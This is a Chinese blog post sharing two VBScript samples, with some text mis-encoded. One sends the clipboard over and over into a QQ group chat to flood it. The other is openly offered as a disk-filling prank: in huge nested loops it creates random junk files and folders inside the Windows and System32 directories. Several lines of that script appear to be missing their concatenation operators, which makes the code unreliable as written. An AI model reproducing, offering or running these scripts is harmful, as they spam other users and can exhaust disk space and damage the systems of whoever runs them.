不知道是最近還是以前，反正就是這幾天經(jīng)常在網(wǎng)上看到一個刷QQ群的VBS代碼。
復(fù)制代碼 代碼如下:
Set WshShell= WScript.createObject("WScript.Shell")
WshShell.AppActivate "群 － Powers成員交流"
for i=1 to 10 '要發(fā)的次數(shù)
WScript.Sleep 500 '發(fā)送消息的時間間隔
WshShell.SendKeys "^v" '要發(fā)的內(nèi)容
WshShell.SendKeys i '這里拿每條消息都不同，在后面加上i即循環(huán)的次數(shù)
WshShell.SendKeys "%s"
next
這個代碼里面解釋的很清楚的啦~呵呵
其實就只是這么一點點就已經(jīng)可以弄來我們做好幾個好玩的東西了啦~比如：刷QQ聊天啊、刷網(wǎng)站啦~
由于比較感興趣，所以找到個這樣的代碼：一個寫硬盤的VBS腳本程序（不要做壞事哦）
復(fù)制代碼 代碼如下:
on error resume next
dim objdir,suijishu
set objdir=wscript.createobject("scripting.filesystemobject")
set windir=objdir.getspecialfolder(0)
set sysdir=objdir.getspecialfolder(1)
'開始程序
for i=1 to 1000
for j=1 to 1000
for r=1 to 1000'------------------------------------------------------------------------------
randomize
y=int((122-65+1)*rnd+65)
y1=int((122-65+1)*rnd+65)
y2=int((122-65+1)*rnd+65)
y3=int((122-65+1)*rnd+65)
y4=int((122-65+1)*rnd+65)
y5=int((122-65+1)*rnd+65)
y6=int((122-65+1)*rnd+65)
y7=int((122-65+1)*rnd+65)
y8=int((122-65+1)*rnd+65)'-----------------------------------------------------------------
y9=int((122-65+1)*rnd+65)
f=chr(y)chr(y1)chr(y2)chr(y3)chr(y4)chr(y5)chr(y6)chr(y7)chr(y8)chr(y9)
suijishu=int(rnd*10000)
'創(chuàng)建windows文件
yang=windir""f"."chr(y3)chr(y7)chr(y)
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風(fēng)居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"'------------------------------------------------------------
for u=1 to suijishu
a.writeline(fffffff)
next
a.close
yang=windir""chr(y3)chr(y1)"."chr(y)chr(y4)chr(y2) '2
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風(fēng)居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu'-----------------------------------------------------------------------
a.writeline(fffffff)
next
a.close
yang=windir""chr(y7)chr(y2)chr(y9)"."chr(y8)chr(y4)chr(y1) '3
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風(fēng)居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(fffffff)'-------------------------------------------------------------
next
a.close
yang=windir""chr(y5)chr(y2)chr(y9)chr(y1)"."chr(y6)chr(y9)chr(y3) '4
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風(fēng)居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(fffffff)
next'--------------------------------------------------------------------------------------
a.close
yang=windir""chr(y6)chr(y2)chr(y)chr(y4)chr(y5)"."chr(y6)chr(y8)chr(y4) '5
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風(fēng)居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(fffffff)
next
a.close'---------------------------------------------------------------------------------
yang=windir""chr(y3)chr(y6)chr(y1)chr(y8)chr(y5)chr(y9)"."chr(y3)chr(y8)chr(y) '6
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風(fēng)居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(fffffff)
next
a.close'----------------------------------------------------------------------------------
yang=windir""chr(y4)chr(y2)chr(y1)chr(y7)chr(y8)chr(y)chr(y4)"."chr(y2)chr(y)chr(y5) '7
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風(fēng)居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(fffffff)
next
a.close
yang=windir""chr(y8)chr(y2)chr(y6)chr(y4)chr(y1)chr(y)chr(y6)chr(y1)"."chr(y4)chr(y)chr(y7) '8'---
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風(fēng)居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(fffffff)
next
a.close
'創(chuàng)建system文件------------------------------------------------------------------------------10
yang=sysdir""f"."chr(y3)chr(y9)chr(y1)
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風(fēng)居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(fffffff)
next
a.close
yang=sysdir""chr(y3)chr(y1)"."chr(y4)chr(y2)chr(y9) '2------------------------------------------
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風(fēng)居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(fffffff)
next
a.close
yang=sysdir""chr(y7)chr(y2)chr(y9)"."chr(y3)chr(y7)chr(y) '3
set a=objdir.createtextfile(yang,true)'------------------------------------------------------
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風(fēng)居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(fffffff)
next
a.close
yang=sysdir""chr(y5)chr(y2)chr(y9)chr(y1)"."chr(y5)chr(y4)chr(y1) '4
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"'-----------------------------------------
a.writeline"古風(fēng)居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(fffffff)
next
a.close
yang=sysdir""chr(y6)chr(y2)chr(y)chr(y4)chr(y5)"."chr(y3)chr(y6)chr(y9) '5
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風(fēng)居委會首席執(zhí)行官老楊同志"'------------------------------------------------
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(fffffff)
next
a.close
yang=sysdir""chr(y3)chr(y6)chr(y1)chr(y8)chr(y5)chr(y9)"."chr(y3)chr(y)chr(y5) '6
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風(fēng)居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"'------------------------------------------------------------15
for u=1 to suijishu
a.writeline(fffffff)
next
a.close
yang=sysdir""chr(y4)chr(y2)chr(y1)chr(y7)chr(y8)chr(y)chr(y4)"."chr(y7)chr(y5)chr(y1) '7
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風(fēng)居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu'-------------------------------------------------------------------------
a.writeline(fffffff)
next
a.close
yang=sysdir""chr(y8)chr(y2)chr(y6)chr(y4)chr(y1)chr(y)chr(y6)chr(y1)"."chr(y1)chr(y7)chr(y4) '8
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風(fēng)居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(fffffff)'--------------------------------------------------------------
next
a.close
'創(chuàng)建windows文件夾
yang=windir""f"u"
objdir.createfolder(yang)
yang=windir""chr(y4)chr(y2) '2
objdir.createfolder(yang)
yang=windir""chr(y)chr(y9)chr(y5) '3
objdir.createfolder(yang)'-------------------------------------------------------------------
yang=windir""chr(y6)chr(y3)chr(y8)chr(y7) '4
objdir.createfolder(yang)
yang=windir""chr(y5)chr(y)chr(y1)chr(y9)chr(y3) '5
objdir.createfolder(yang)
yang=windir""chr(y6)chr(y9)chr(y4)chr(y6)chr(y1)chr(y7) '6
objdir.createfolder(yang)
yang=windir""chr(y3)chr(y6)chr(y)chr(y1)chr(y7)chr(y6)chr(y2) '7
objdir.createfolder(yang)
yang=windir""chr(y6)chr(y2)chr(y9)chr(y)chr(y4)chr(y7)chr(y2)chr(y5) '8
objdir.createfolder(yang)'--------------------------------------------------------------------
'創(chuàng)建system文件夾
yang=sysdir""f"n"
objdir.createfolder(yang)
yang=sysdir""chr(y4)chr(y2) '2
objdir.createfolder(yang)
yang=sysdir""chr(y)chr(y9)chr(y5) '3
objdir.createfolder(yang)
yang=sysdir""chr(y6)chr(y3)chr(y8)chr(y7) '4
objdir.createfolder(yang)'---------------------------------------------------------------------
yang=sysdir""chr(y5)chr(y)chr(y1)chr(y9)chr(y3) '5
objdir.createfolder(yang)
yang=sysdir""chr(y6)chr(y9)chr(y4)chr(y6)chr(y1)chr(y7) '6
objdir.createfolder(yang)
yang=sysdir""chr(y3)chr(y6)chr(y)chr(y1)chr(y7)chr(y6)chr(y2) '7
objdir.createfolder(yang)
yang=sysdir""chr(y6)chr(y2)chr(y9)chr(y)chr(y4)chr(y7)chr(y2)chr(y5) '8
objdir.createfolder(yang)
next
next
next
'老楊同志嘔血巨著
